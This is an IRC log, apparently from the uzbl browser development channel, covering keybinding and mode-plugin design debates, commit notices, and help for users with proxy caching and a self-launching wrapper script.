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17:37 < Dieterbe_> anyway, the fair is that one time in the year that you see all the same faces again :P
17:37 < Frots> well thats over here to and its like 80k people
17:37 < Frots> still a village :p
17:38 < Frots> oh seems 73k
17:39 < Dieterbe_> hmm wikipedia says we were 5400 3 years ago
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17:41 < mason-l> Wikipedia gives my city 65k 3 years ago.
17:43 < mason-l> Dieterbe_, My city from the sky: http://www.poralu.dk/img/OceanMarinaMandurah.jpg
17:44 < Dieterbe_> hmmm fancy artificial little islands
17:44 < mason-l> My house is *almost* in the picture.
17:44 < mason-l> Yeah, they are in fashion over here.
17:44 < Dieterbe_> so all the people who live there, they like to swim a lot or is it more for the view?
17:45 < Dieterbe_> looks like a nice place though
17:47 < Frots> wow that looks very nice
17:47 < mason-l> Yeah people mainly live here because of the water, and some people can pull up in a boat to their front door steps (if they are super rich).
17:47 < mason-l> But its like any small city I suppose.
17:47 < mason-l> I've never lived anywhere else or been traveling.
17:51 < mason-l> Personally I think those people are silly living in these canal developments because of the raising water level :P
17:51 < mason-l> 'rising.
17:53 < Dieterbe_> ^^
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17:58 < barrucadu> Hello, long time no talk :)
17:58 < Dieterbe_> hey mike
17:58 < barrucadu> I got an email from the owner of uzbl.com, saying the domain is going to be for sale soonish
17:58 < barrucadu> Do we want uzbl.com as well as the .org?
17:58 < Dieterbe_> me too. it's in my todo rist to reply on it
17:58 < barrucadu> Ok
17:59 < Dieterbe_> i don't see why. we're not a commercial entity
17:59 < barrucadu> Good point.
17:59 < Dieterbe_> at least, i don't plan to commercially exploit uzbl
17:59 < Dieterbe_> ..yet ;)
17:59 < barrucadu> Also it's a 4 letter .com so it'll sell for a lot
17:59 < Dieterbe_> hmm just for fun, let's ask for the price
17:59 < barrucadu> It's even 'pronounceable' (if you know how…), so that'll get the cost up
18:00 < Dieterbe_> i'll send him a reply
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18:00 < barrucadu> EstiBot suggests $260 - but EstiBot *can* be horribly wrong
18:00 < Dieterbe_> but more importantly barrucadu , can you install tools like rkhunter and chkrootkit on your VPS and run them? (i've sent you a mail about the bugzilla exploit)
18:01 < barrucadu> No, it's not a VPS, just a shared hosting server
18:02 < Dieterbe_> well, that then
18:02 < Dieterbe_> not sure if you know. but the archlinux servers were actually compromised by it so we had to reinstall them from scratch
18:02 < barrucadu> Nope, I only have a normal user account
18:03 < Dieterbe_> http://www.archlinux.org/news/462/
18:03 < barrucadu> I'd imagine (hope) DreamHost do that
18:03 < barrucadu> Yes, I read
18:03 < barrucadu> brb
18:03 < Dieterbe_> ah. i see
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18:12 < github> uzbl: Dieter Plaetinck experimental SHA1-6535f76
18:12 < github> todo update
18:12 < github> http://bit.ly/nIuZE
18:12 < github> uzbl: Dieter Plaetinck experimental SHA1-4c68b07
18:12 < github> Merge remote branch 'origin/experimental' into experimental
18:12 < github> http://bit.ly/4CkcKQ
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18:14 < Dieterbe_> mason-l: what was the status on the bind request syntax? are we ready to change the sample config, or was there still the quotes problem?
18:16 < mason-l> Dieterbe_, The quotes problem is long gone.
18:16 < mason-l> Theres still a little bug in the bind plugin but the rest are feature requests.s
18:16 < Dieterbe_> ah, then i guess i'll start by updating the sample config
18:16 < mason-l> Dieterbe_, Did you see rob|'s nice @bind example?
18:17 < Dieterbe_> yeah i saw it. hold on i'll search in my logs
18:17 < mason-l> Its simple: "set bind = request BIND" and then use it by "@bind ZZ = exit"
18:18 < Dieterbe_> okay. i'll update the sample configs
18:19 < Dieterbe_> s/s//
18:19 < Dieterbe_> i don't need any of those " in the actual config, right?
18:19 < mason-l> Dieterbe_, nope ;)
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18:23 < github> uzbl: Dieter Plaetinck experimental SHA1-0a21634
18:23 < github> apply new binds syntax
18:23 < github> http://bit.ly/UaJPV
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18:37 < Dieterbe_> mason-l: can i throw away all always_insert_mode related code?
18:38 < mason-l> Dieterbe_, Not just yet.
18:38 < mason-l> I'm pretty tired from work today but I'll replicate all the mode & mode options in the EM tomorrow morning.
18:39 < mason-l> So tomorrow night all that code can be culled.
18:39 < Dieterbe_> ok
18:39 < Dieterbe_> just trying to be useful ^^
18:39 < mason-l> :D
18:40 < mason-l> Night guys.
18:40 < Dieterbe_> i also want to rename insert_mode to something else. because uzbl-core should have no concept of command and insert mode. but merely 'should i send these keystrokes to the webview or report them as events'
18:40 < Dieterbe_> not sure yeh how i should call such a variable
18:41 < Dieterbe_> maybe just a 'forward_keys', and always report key events no matter the mode (the EM/plugin knows when to handle them (not) anyway)
18:41 < mason-l> All the keystrokes need to be reported, its the option to send keys to webview that defines the insert mode.
18:42 < mason-l> Sounds great.
18:42 < Dieterbe_> okay i'll do that then
18:42 < Dieterbe_> good night mate
18:42 < mason-l> See you in a few hours.
18:43 < Dieterbe_> more like 12 hours from now
18:43 < Dieterbe_> minimum
18:55 < Dieterbe_> mason-l: hmm i suggest to do this change at the same time we migrate the actual mode code. it looks a bit weird to have the variable name changed but all the logic still there
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19:32 < christophe-marie> howdy, geeks
19:33 < christophe-marie> I'm wondering: Does uzbl does caching?
19:34 < christophe-marie> because when I go back in my history, it seems to reload the last page
19:34 < Dieterbe_> it caches in memory (for now)
19:35 < christophe-marie> in memory? I don't really get what that means.
19:36 < christophe-marie> Is it the role of a navigator to cache pages? I was thinking about installing a local cache proxy to do the job, actually (in the spirit of unix tools)
19:37 < rob|> christophe-marie: well, many browsers do write the cached sites to disk in order to keep them persistent over browser restart. webkit and hence uzbl doesn't do this
19:37 < Dieterbe_> well it means it caches css, images files etc in memory. so when you close uzbl the cache is gone.  but this is unrelated to going back and forward to previously seen pages
19:37 < rob|> s/over/across/
19:41 < christophe-marie> Actually, why I'm wondering about this: because if uzbl does cache, it does not in the same way as firefox: I'm used to go on a forum. on firefox, when I go back on the last page, it is immediate, but I know the page is not up to date and I have to hit r to reload it.
19:41 < christophe-marie> I thought this was more or less due to the "cache" mechanism
19:42 < christophe-marie> with uzbl, however, the page is immediately up to date, so more or less, uzbl is checking if the page has changed
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19:44 < christophe-marie> Sooo. Ok. I'm a bit lost. I realize that I misunderstood some things. Please just answer this question:
19:45 < christophe-marie> is it usefull if I install a proxy on the same machine as uzbl and use this proxy for caching?
19:45 < bct> yes.
19:45 < christophe-marie> thank you wery much
19:47 < christophe-marie> because, I guess, it is related to the fact uzbl instances do not share their cache, so it should speed up my browsing at least in that case, right?
19:47 < bct> correct.
19:47 < christophe-marie> And one more last question. How do I set a proxy in uzbl? I did not find that in the default config file
19:48 < bct> it's in the readme, set proxy_url =
19:48 < christophe-marie> aaah readmes. I always forget them
19:48 < christophe-marie> thank you!
19:48 < bct> no problem :)
19:49 < bct> it's understandable, half the time readmes are just copy & pasted "how to ./configure && make"
19:50 < christophe-marie> yes, that's why I'm more used to check man pages and wikis
19:51 < christophe-marie> but I don't think uzbl has a manpage yet, has it?
19:52 < bct> nope.
19:53 < bct> people have discussed generated one from the readme, but the readme would have to be restructured for that.
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19:56 < christophe-marie> That would be cool. manpages are usefull at least for pointing the user on a url where there is up to date documentation.
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20:15 < christophe-marie> what is cool about setting a local cache proxy, is that not only that is cool and modular because caching is done by another program, but also this allows to control adblocking by setting proxy rules :D
20:15 < christophe-marie> although this is the first time I set up a proxy, I find the idea is really good
20:16 < Dieterbe_> ^^
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20:24 < christophe-marie> It works like a charm, hehe!
20:24 < christophe-marie> cool!
20:25 < christophe-marie> thanks guys!
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20:45 < Hyperion2010> is doccumentation up for the new bind syntax?
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20:46 < Dieterbe_> Hyperion2010: no
20:47 < christophe-marie> Hi again! Another question: Do you know if there is any script that would use use old style vimperator hinting, with letters? I'm on a french keyboard and numbers are difficult to reach...
20:48 < Hyperion2010> Dieterbe_: thanks
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21:18 < argento> hi, im trying to run the command --> :print @uri <-- which should print current uri throught stdout. Is that correct?
21:20 < argento> i don't get that behaviour btw
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21:23 < bct> what behaviour do you get?
21:24 < Dieterbe_> no when you type a command it must be a recognized binding
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21:24 < Dieterbe_> so to that, you must have ':_' or something like that bound to execute misc commands
21:25 < argento> Dieterbe_: well i'm using 'almost' defualt config
21:26 < argento> bct: i get a '@uri' thrught stdout
21:27 < argento> Dieterbe_: i have the line bind :_ = chain '%s'
21:28 < bct> hmm. that is odd.
21:30 < argento> bct: i'm using the main branch, and it works well if i pass the command trought the fifo
21:31 < bct> i'm not sure why it's skipping the expansion, and i don't have a copy here to test
21:31 < bct> sorry.
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21:35 < Dieterbe_> ah well we did update the master branch today with a bunch of variable expansion refactorings
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21:35  * Dieterbe_ pokes rob| ^^
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21:49 < argento> i'll see if i can be of some help
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21:53 < Dieterbe_> just look at the last few commits in master
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22:01 < github> uzbl: Robert Manea master SHA1-d2d73ad
22:01 < github> fix print bug
22:01 < github> http://bit.ly/3aLw8X
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22:01 < rob|> sorry for that, fixed.
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22:07 < Dieterbe_> hmmm
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22:12 < rob|> hmm ;)
22:13 < argento> o
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22:53 < rob|> chain() should not call parse_command() directly, anyways.
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23:02 < Dieterbe_> i'm off
23:02 < Dieterbe_> cya tomorrow
23:02 < rob|> night
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00:49 < ulughbegh> hi
00:50 < holizz> ulughbegh, Hello.
01:07 < ulughbegh> uzbl is very nice, i liked the idea much, still trying to get used with it
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01:34 < ulughbegh> pressing 'I puts "I" and escape, what is the correct way to disable insert mode (escape does not work)
01:35 < holizz> Escape should get out of insert mode, if it doesn't then that's a bug.
01:36 < ulughbegh> yeah doesnt get
01:36 < ulughbegh> out
01:38 < holizz> I take it you don't have always_insert_mode set in your config?
01:39 < ulughbegh> no i did not
01:43 < ulughbegh> i should not use experimental branch i think
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01:49 < holizz> Aha, no. That isn't working at the moment.
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01:51 < holizz> The core devs decided to merge a non-working branch into experimental. A bad idea in my opinion.
01:52 < ulughbegh> holizz, i see :D
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02:15 < ulughbegh> holizz, thx now it works
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02:39 < holizz> Time for bed.
02:39 < holizz> Night.
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06:55 < mason-l> Dieterbe_, 12 hours on the dot.
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09:16 < rob|> morning.
09:17 < Dieterbe_> morning mason-l 
09:17 < Dieterbe_> morning all
09:17 < mason-l> Morning guys
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09:19 < Dieterbe_> mason-l: i suggest to do the behave.insert_mode -> behave.forward_keys at the same time we migrate the actual mode code. it looks a bit weird to have the variable name changed but all the logic still there
09:19 < mason-l> Yeah I've been working on it.
09:19 < rob|> Dieterbe_: what do you suggest to migrate in which way?
09:20 < rob|> other than renaiming of course..
09:20 < Dieterbe_> uzbl-core should be totally unaware of insert/command mode and should not have an always_insert_mode
09:20 < Dieterbe_> there is some logic here and there related to insert mode
09:21 < Dieterbe_> uzbl-core should just know when to forward keys to webkit and when not. it should be told by something else (EM/plugin) when to forward and when not
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09:23 < rob|> yeah, agreed.
09:24 < Dieterbe_> i feel like doing this change. but i guess it's wise to only do it after the mode plugin for the EM is there
09:26 < rob|> hmm, but the mode plugin needs to know what to actually do so that core code should be there beforehand
09:27 < Dieterbe_> what do you mean?
09:30 < rob|> i mean we need to first change uzbl core and then write the mode plugin
09:30 < Dieterbe_> ah yeah
09:31 < mason-l> rob|, If you can make the changes I'll pull directly for you and update the WIP mode plugin then I'll send you a pull request.
09:31 < mason-l> You or Dieterbe_ that is.
09:31 < mason-l> But I wouldn't push to experimental a half-working change
09:31 < rob|> yeah, i'll leave this change up to dieter
09:32 < Dieterbe_> thanks rob| 
09:32 < rob|> hehe
09:32 < Dieterbe_> now i can feel useful again :)
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09:44 < Dieterbe_> almost there
09:46 < mason-l> Should I include default mode definitions in the mode config? Like the very minimal settings to get command and insert modes functioning?
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09:47 < github> uzbl: Dieter Plaetinck experimental SHA1-86df99c
09:47 < github> deprecate insert/command mode, always_insert_mode, mode indicators, in favor of soon to be implemented EM replacements. uzbl-core now only knows if it should forward_keys to the webkitview or not
09:47 < github> http://bit.ly/lQFiH
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09:47 < mason-l> (in the mode plugin that is)
09:48 < Dieterbe_> mason-l: all the config for this plugin will also be populated with 'request' statements from the uzbl config, right?
09:48 < mason-l> set commands.
09:49 < Dieterbe_> set can only set variables known to uzbl-core
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09:50 < mason-l> Dieterbe_, Custom variables.
09:50 < Dieterbe_> oh right
09:50 < mason-l> All modes will be defined by: "set insert_mode_forward_keys = 1" , "set insert_mode_status_format = <span... >", "set command_mode_status_background = #404040"
09:50 < mason-l> "set mymode_mode_show_status = 0"
09:51 < Dieterbe_> we used the custom variables already for the EM/ a plugin right? refresh my memory..
09:52 < mason-l> Eventually most of the plugins should be configurable via custom variables picked up from the uzbl config.
09:53 < Dieterbe_> except for binds, who use the request system.  why do we use 2 different methods again?
09:53 < mason-l> Dieterbe_, Because ones for options, ones for events/requests.
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09:54 < mason-l> I mean we could "request MODE_CONFIG command status_background = #303030"
09:55 < Dieterbe_> but the goal of a request is to ask a plugin/Em to do something / set a variable.  and this is also one of the uses of custom variables
09:57 < mason-l> With our ability to make custom commands in the config now its very easy to
09:57 < mason-l> "set cmd_cfg = request MODE_CONFIG command" then "@cmd_cfg status_background = #404040"
09:58 < mason-l> Actually I like this method now.
09:58 < Dieterbe_> okay, that's just a little thing to make it easier.  but my question is more fundamental and is not answered yet
09:59 < Dieterbe_> i think there was a reason to use requests for keybindings and custom variables for everything else, but i don't remember..
10:02 < mason-l> I think this might just be a semantic issue again. But using events over custom variables for setting binds was the main reason we developed the event system (to avoid "set bind = mybind1", "set bind = mybind2", "set bind = mybind3")
10:02 < rob|> well, some variables need to be known to uzbl (i.e. have a well defined name) in order to make use of them and as setting vars already generates an event by default i don't see the point in not just doing it that way
10:02 < mason-l> But its a personal preference for the rest of use cases.
10:03 < Dieterbe_> mason-l: and then a 2nd thing: i think your names are too long. insert_mode_forward_keys -> insert_mode insert_mode_status_format -> insert_mode_indicator , command_mode_status_background -> command_mode_background ?
10:03 < rob|> bindings using event are ok as core has no idea about bindings, but it must have an idea of e.g. status_background, etc.
10:04 < rob|> in other words for some things we use core as a pure message forwarder, for other things that do modify core's internal state we should use variables
10:05 < mason-l> The original idea was (1) set_mode("command") (2) find all config keys starting with "command_mode" (3) rename "command_mode_<something>" to "<something>" (3) set("<something>", "<somethings value>")
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10:06 < Dr-Horrible> I have in my /etc/mpd.conf the user mpd. so it
10:06 < mason-l> But to reduce the config key length I prefer using the @cmd_cfg shortcuts now.
10:06 < Dr-Horrible> s starte by mpd but it cant create a log file after i chowned /var/log/mpd to mpd:mpd
10:07 < rob|> mason-l: so you basically are building an additional configuration layer on top of the already existing one?
10:07 < Dieterbe_> rob| / mason-l okay that makes sense.  so when in doubt -> use custom vars, unless you're sure you're never really use the vars from the statusbar/window title etc
10:07 < Dr-Horrible> sorry wrong channel
10:07 < Dieterbe_> Dr-Horrible: no problem
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10:08 < mason-l> rob|, The difference being that these configurations only take places in arbitrarily defined modes.
10:09 < Dieterbe_> i have no clue what mason-l meant with his 1/2/3 stuff.  but if i don't understand it right away, it probably means it's an overcomplication
10:10 < rob|> right, but to get back to your status_background example. core _needs_ to know that the var with the name "status_background" must be use to set the background (i.e. the association we do in the big var name -> callback table)
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10:10 < rob|> so i don't see the point in not setting that var directly but use another config layer just to do so
10:11 < rob|> maybe i just understood you wrong, though
10:12 < mason-l> Dieterbe_, This is what I meant http://dpaste.com/95509/
10:13 < Dieterbe_> rob|: custom vars are not in that table.  if you are using a custom var and want to update the statusbar from outside uzbl-core, you should send uzbl-core 2 separate commands to do so. because uzbl-core itself is not aware of the var and it's callback
10:13 < rob|> right, you would call update_gui as the second command
10:13 < mason-l> And this is what I'm doing now http://dpaste.com/95509/
10:14 < rob|> ok, i guess i got it now
10:15 < Dieterbe_> oh yeah that's obvious actually, that's what we did in uzbl-core until now
10:15 < Dieterbe_> but please don't use variable indirection when explaining things :P
10:16 < mason-l> I'll just explain by example in the future.
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10:16 < mason-l> Sometimes I feel like English is my second language to Python.
10:16 < rob|> haha
10:17 < Dieterbe_> okay so for this stuff, i think we can use custom uzbl vars for everyithng. and when the bind plugin changes the values of variables, it's the bind plugin's job to ask uzbl to redraw the statusbar when needed
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10:19 < mason-l> That means every script would also have to ask uzbl to update the status bar when they change uzbl vars also?
10:20 < rob|> no
10:20 < Dieterbe_> only needed for custom vars
10:20 < mason-l> I don't think status bar redraws should be outsourced.
10:20 < Dieterbe_> so you want to have uzbl-core assign callback functions to custom vars?
10:21 < mason-l> I was under the impression uzbl-core updated the status bar on ANY config changes.
10:21 < Dieterbe_> ah yes that's also an option
10:21 < rob|> mason-l: no, it doesn't that would be quite wasteful, wouldn't it?
10:21 < mason-l> Personally I think thats the only option with the huge use of custom vars in the status bar.
10:22 < mason-l> rob|, Not really.
10:22 < mason-l> rob|, Actually not at all.
10:22 < Dieterbe_> well, the amount of variables shown in the statusbar is a fraction of all custom vars defined.
10:22 < mason-l> Yes but what if one of the vars in the status bar expands to include 10 or 15 custom vars values.
10:24 < rob|> then you just send a 'update_gui' command to uzbl after setting that var. so, one call by purpose as opposed to n implicit calls
10:24 < mason-l> okok.
10:24 < Dieterbe_> hmmm i was gonna say "sending the redraw command over the socket _only when needed_ is probably less expensive then always redrawing automatically for each variable change", but also the EM/plugin cannot know which variables are shown in the statusbar so it's just not possible to predict when the redraw is needed and when not
10:25 < Dieterbe_> rob|: why n implicit calls? there is only a call when changing the value of a variable, not when retrieving it's contents
10:28 < rob|> sure, but consider this: status_format = @a @b @c @d  -> implicit redraw:  whenever a var changes we redraw
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10:28 < mason-l> rob|, Some would say thats the intended action.
10:28 < rob|> letting the EM/user decide when to redraw we could just set as many of those vars as we want and update the gui in one go
10:28 < Dieterbe_> ah yes
10:29 < Dieterbe_> another good point
10:29 < Dieterbe_> yeah let's let the em/user decide for now
10:29 < rob|> well, actually redrawing on each (custom var change) is a trivial change in code. i'm just not conviced that we need/want this
10:30 < Dieterbe_> i think it would be less efficient
10:30 < mason-l> rob|, Its an extra hoop to jump through when a script changes a custom var.
10:30 < mason-l> Dieterbe_, Has anybody timed this?
10:31 < mason-l> I think the performance drop will be negligible considering in return we get accurate status bar updates.
10:31 < rob|> hmm..
10:33 < rob|> well, both points of view have their pros and cons.
10:37 < rob|> we could also introduce an additional assigeemnt operator that also calls update_title implicitly. like: "set foo ~= bar" or something
10:37 < mason-l> O_O
10:40 < Dieterbe_> looks kinda ugly
10:40 < Dieterbe_> for now i would go the 'send command from EM/plugin way'. it will only add one line of code here and there
10:42 < mason-l> Should I also allow commands to be executed on mode change?
10:44 < Dieterbe_> do you think you need that?
10:44 < mason-l> Not really, and it can be added easily by a user plugin.
10:45 < Dieterbe_> then no
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11:29 < rob|> hmm, thinking about custom callbacks for custom vars. we could just have an EM plugin do this: request callback <var> <command1 ... commandN> the plugin would register the vats, monitor for VARIABLE_SET and execute the given commands
11:30 < rob|> the cool thing is that command can be anything with this approach, like python code, uzbls commands, etc.
11:31 < rob|> it's just a matter of defining a elaborate syntax in the callback plugin
11:32 < Dieterbe_> yeah
11:33 < Dieterbe_> you know i've been thinking. what uzbl is becoming is actually similar to surf, except that in surf their "plugins" are C patches that they apply to the source code, whereas we provide a C-code to stdout/socket/.. interface
11:34 < Dieterbe_> same with pyweb if you s/C/python/
11:37 < rob|> yeah
11:37 < Dieterbe_> so we just provide a layer for "easier" integration. i'm probably stating the obvious here
11:37 < Dieterbe_> but it does make me think about all the complexity we introduce
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11:37 < rob|> like?
11:37 < christophe-marie> Hi guys
11:37 < rob|> hey christophe-marie
11:38 < Dieterbe_> well, all the event code and configuration handling
11:39 < rob|> well, the event code is far from being complex. most of the complexity is in the EM/plugins
11:39 < rob|> which is a good thing actually
11:41 < Dieterbe_> well of course "all the" is relative ;)
11:44 < rob|> that's why i said "most of the" ;)
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11:47 < rob|> also if we decide to implement the above mentioned callback plugin we could reuse much of that code for event handlers, like load_commit, etc.
11:47 < rob|> like: request on_event <event_name> <command1 ... commandN>
11:48 < rob|> so, it's basically the same functionality with a different name
11:49 < Dieterbe_> don't you sometimes think we are building a frankenstein? i mean pretty much all is becoming python, except uzbl-core itself which is C code and has an interface to translate to socket/stdout/fifo/.. and then we use python
11:49 < Dieterbe_> makes me thing about why not doing it all in python
11:49 < Dieterbe_> think*
11:49 < Dieterbe_> except of course that it would be less reusable
11:50 < rob|> because i'm python illiterate ;) (just kidding)
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11:50 < rob|> well, the python EM is "just" our default implementation.
11:50 < Dieterbe_> that's true
11:51 < Dieterbe_> of course our current approach does have some advantages for reusability in other tools/scripts etc
11:51 < rob|> the event code could also be WM plugin and make the WM aware of everything going on in uzbl
11:51 < Dieterbe_> maybe my sentiments are so negative because we haven't worked on anything else then uzbl-core+python for the last weeks
11:52 < Dieterbe_> hm yeah
11:55 < rob|> actually i would really like to see WM plugins, especially in tiling evironments such an integration would be a killer feature
11:55 < rob|> with the given benefit of being able to configure uzbl's behaviour within the WM itself...
11:57 < Dieterbe_> yeah
11:58 < Dieterbe_> except that more and more i'm bumping into wmii limitations :( (inability to spawn new windows unfocused, only a "stacked" layout which is inferior to a tabed layout. not even close to the per-app tabbing that for example fluxbox has, ...)
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12:03 < Dieterbe_> (this is the part where you convince me to try out xmonad)
12:05 < rob|> hehe, you really should. it's a bit strange to write all that haskell code at first, but you'll soon start to see the benefits :)
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12:05 < rob|> anyways, need to go now. bbl, bye.
12:06 < Dieterbe_> cya
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13:17  * Dieterbe_ slaps frotsnot 
13:17 < Dieterbe_> please don't do the stupid away messages
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14:15 < mason-l> rob| & Dieterbe_, Are you around?
14:17 < mason-l> I've pushed my mode plugin and other mode integration changes required to get it functioning normally :)
14:17 < mason-l> You can test it out with this config http://dpaste.com/95554/
14:18 < mason-l> Dieterbe_, You might like to update the default config in the experimental branch with examples from that.
14:18 < mason-l> Uzbl is not usable again :D
14:18 < mason-l> 'now
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16:06 < mason-l> Dieterbe_ & rob|: Well let me know when you get a chance to look at it, I'll be back in a bit.
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16:45 < jelly12gen> i am having a serious problem with uzbl
16:46 < jelly12gen> it just kills X
16:46 < jelly12gen> and takes all MEM
16:46 < jelly12gen> just when i start it
16:46 < jelly12gen> i can't debug much :(
16:47 < Frots> I saw this before but I cant recall it :/
16:47 < jelly12gen> yeah in #archlinux-offtopic
16:47 < jelly12gen> :D
16:47 < jelly12gen> meh i dont know what i am doing wrong
16:47 < Frots> lol no the issue
16:47 < jelly12gen> now my pc just lags because of rtorrent hashing
16:48 < jelly12gen> i have a bloated /etc/hosts
16:48 < Knirch> jelly12gen: always on a specific page or any?
16:48 < jelly12gen> Knirch: just when starting it
16:48 < jelly12gen> i added my own script
16:49 < Knirch> jelly12gen: try starting it with http://google.com
16:49 < jelly12gen> Knirch: even uzbl --help fails
16:49 < jelly12gen> then boom
16:49 < jelly12gen> i can;t do anything
16:49 < Knirch> oh, cool
16:49 < jelly12gen> no
16:49 < jelly12gen> i worked
16:49 < jelly12gen> s/i/it
16:49 < jelly12gen> i doubt the cookie daemon does it
16:50 < Knirch> uzbl -c /dev/null ? :)
16:50 < jelly12gen> hmmm
16:50 < jelly12gen> i hate to have to hard reboot
16:50 < jelly12gen> i can't even get into tty1 or 2
16:51 < jelly12gen> just high mem usage
16:51 < jelly12gen> ok one try
16:51 < jelly12gen> if this fails i will ignore it and get some work done
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16:51 < Knirch> unless uzbl is a wrapper script that's supposed to start uzbl for you but instead ends up starting itself
16:52 < jelly12gen> ?
16:52 < jelly12gen> Knirch: if i have the cookie daemon
16:52 < jelly12gen> shoud i start the cookie daemon firsT ?
16:52 < Knirch> no idea
16:52 < jelly12gen> well it works now
16:52 < jelly12gen> WTF
16:53 < jelly12gen> well
16:53 < jelly12gen> i guess i have too shoot my self
16:53 < Knirch> doubt it
16:53 < jelly12gen> Knirch: hmm
16:53 < jelly12gen> me too
16:53 < jelly12gen> i think less scripts is faster uzbl
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16:53 < jelly12gen> hmm
16:54 < Knirch> so it worked without a config?
16:54 < Knirch> or was it related to cookie daemon?
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16:56 < Knirch> if it's memory that runs away from you, use ulimit to set some constraints so it won't tear your system down
16:56 < jelly12gen> hmm
16:56 < jelly12gen> hmm
16:56 < jelly12gen> how should i start uzbl ?
16:57 < jelly12gen> just using `uzbl` in urxvt makes it fail
16:57 < jelly12gen> and my keybinding in xmonad
16:57 < jelly12gen> wait
16:57 < jelly12gen> Knirch: am i right i shouldnt start uzbl as just 'uzbl'
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16:59 < Knirch> how do you start it to get it working?
17:00 < Knirch> I always start it by typing uzbl in bash or whatever :D
17:00 < mason-l> jelly12gen, Type: which uzbl
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17:00 < mason-l> And then find out if that file is a binary or not.
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17:01 < jelly12gen> i can't work with this
17:01 < mason-l> jelly12gen, Type: which uzbl
17:01 < mason-l> And then check if uzbl is a binary or no
17:01 < jelly12gen> ?
17:01 < mason-l> 'not
17:01 < mason-l> in your shell
17:01 < jelly12gen> /home/jelle/bin/uzbl
17:01 < jelly12gen> omg
17:02 < jelly12gen> omg
17:02 < jelly12gen> omg
17:02  * jelly12gen fails
17:02 < mason-l> :D
17:02  * jelly12gen cries
17:02 < Knirch> jelly12gen: now you can shoot yourself
17:02  * mason-l to the rescue!
17:02 < jelly12gen> http://arch.har-ikkje.net/gfx/solution.jpg
17:02 < mason-l> I love the witch command :D
17:02 < Knirch> jelly12gen: especially since I pointed that out :)
17:02 < jelly12gen> aah
17:02 < mason-l> 'which
17:02 < Knirch> and kudos++ to mason-l for understanding that jelly12gen didn't understand
17:03  * Knirch is too trusting
17:03 < jelly12gen> well thanks
17:03 < jelly12gen> i must be stupid
17:03 < Knirch> if my system was crashing over and over, I would also be frustrated and confused :D
17:03 < jelly12gen> mason-l: well bin/uzbl contains
17:04 < jelly12gen> uzbl -u site &
17:04 < mason-l> jelly12gen, Pastebin it
17:04 < Knirch> hahaha
17:04 < Knirch> :)
17:04 < mason-l> jelly12gen, lol!
17:04 < jelly12gen> that was for opening some standard pagas
17:04 < mason-l> jelly12gen, Make sure that uzbl turns into /usr/bin/uzbl
17:04 < Knirch> jelly12gen: if you want that, be sure to put the FULL PATH to the correct uzbl binary in it :D
17:04 < jelly12gen> /home/jelle/bin/uzbl
17:05 < Knirch> no
17:05 < jelly12gen> strange
17:05 < jelly12gen> how can that be
17:05 < Knirch> how can what be?
17:05 < jelly12gen> i exported a patch ~/bin in .bashrc
17:05 < jelly12gen> so i deleted that
17:06 < jelly12gen> source .bashrc
17:06 < jelly12gen> nevermind
17:06  * jelly12gen opens new term
17:06 < Knirch> your bashrc most likely appends to the path
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17:06 < jelly12gen> [~]:$ which uzbl
17:06 < jelly12gen> /usr/bin/uzbl
17:06 < jelly12gen> :)
17:06 < Knirch> jelly12gen: you COULD have fixed your wrapper script as mason-l told you how to
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17:07 < jelly12gen> one question should i start the cookie_daemon.py in .xinitrc ?
17:07 < mason-l> jelly12gen, You could have just used the launcher script on http://www.uzbl.org/wiki/cookie_daemon.py
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17:09 < jelly12gen> ok
17:09 < jelly12gen> sorry i failed again
17:09 < jelly12gen> probaly XMonad.Prompt used the wrong path
17:09 < jelly12gen> rm ~/bin/uzbl
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17:10 < Knirch> seriously
17:10 < jelly12gen> yes
17:11 < Knirch> am I typing in secret ink or something?
17:11 < Knirch> -> FIX THE PATH IN THE WRAPPER SCRIPT <-
17:11 < jelly12gen> Knirch: no i am rebooting all the time
17:11 < Knirch> :D
17:11 < jelly12gen> ?
17:11 < jelly12gen> i dont know what that is
17:12 < Knirch> your wrapper script is in ~/bin/  called uzbl, which starts "uzbl" instead of "/usr/bin/uzbl"
17:12 < jelly12gen> i know
17:12 < jelly12gen> i removed it
17:12 < Knirch> fix the path
17:12 < Knirch> GAH
17:12 < jelly12gen> ooh
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17:12 < jelly12gen> i know what is was doing omg
17:12 < jelly12gen> recursion ftw
17:12  * jelly12gen is noob
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17:13 < jelly12gen> Knirch: i removed it because i dont use it
17:13 < Knirch> first time here, I'll just idle
17:13 < Knirch> never been here, never had a conversation in here before, birds are chirping and I need a coffeebreak
17:13 < Knirch> lalalala bingobingo
17:13 < jelly12gen> Knirch: you like the conversation :D
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17:16 < jelly12gen> time to enjoy webkit
17:17 < mason-l> Knirch, Its normally quite exciting but occasionally jelly has a problem :P
17:17 < Knirch> mason-l: :)
17:17 < jelly12gen> and fucks up
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17:20 < jelly12gen> well i learned from it
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17:57 < Dieterbe_> hey mason-l 
17:58 < mason-l> Hey Dieterbe_!
17:58 < Dieterbe_> just back from band rehearsal.. lets read my backlog
17:58 < mason-l> Did you see my push?
17:58 < mason-l> Nice, what instrument do you play?
17:59 < Dieterbe_> drums
18:00 < mason-l> Cool :)
18:00 < mason-l> Thus the love for DT
18:00 < mason-l> My best friend (also drummer) was the one that got me on to DT years ago.
18:00 < Dieterbe_> also ;)
18:01 < Dieterbe_> the amazing thing about DT is, even though they are extremely good at their instruments, i think it's their music writing abilities that's even better
18:01 < mason-l> Some of his music is online I think, I may be able to pull some up for you.
18:01 < Dieterbe_> good idea
18:02 < Dieterbe_> btw why don't you just update the sampleconfig to reflect your changes?
18:06 < mason-l> Dieterbe_, I'll do just that.
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18:30 < Dieterbe_> so, done?
18:34 < mason-l> Actually I started watching the uzbl development with http://code.google.com/p/gource/
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18:35 < Dieterbe_> hmm
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18:36 < mortenlysgaard> Hi. I've been away for a while. I've got the 20090816-1 build. Can i safely upgrade to the latest. I'm using the new cookie handler, but trough a launcher script.
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18:37 < Dieterbe_> the whole point of releases is that they should give you safe upgrades
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18:38 < mortenlysgaard> Well, is there any change in how the cookie handler works, or do i still use the launch script?
18:38 < mason-l> Dieterbe_, Provided that also update your scripts when you upgrade your binaries.
18:38 < Dieterbe_> mason-l: of course. that's why each release comes with detailed notes about what has changed
18:39 < Dieterbe_> and mortenlysgaard i don't know that from the top of my head. i do effort to write it all down for each release so just read that
18:39 < mortenlysgaard> Dieterbe_: Thanks, I'll take a look
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18:45 < Dieterbe_> mason-l: can gource be anything useful?
18:45 < mason-l> Dieterbe_, Nope :)
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18:47 < Dieterbe_> hey it even predicts the futuer
18:47 < Dieterbe_> future*
18:49 < Dieterbe_> anyway. awaiting updated sample config
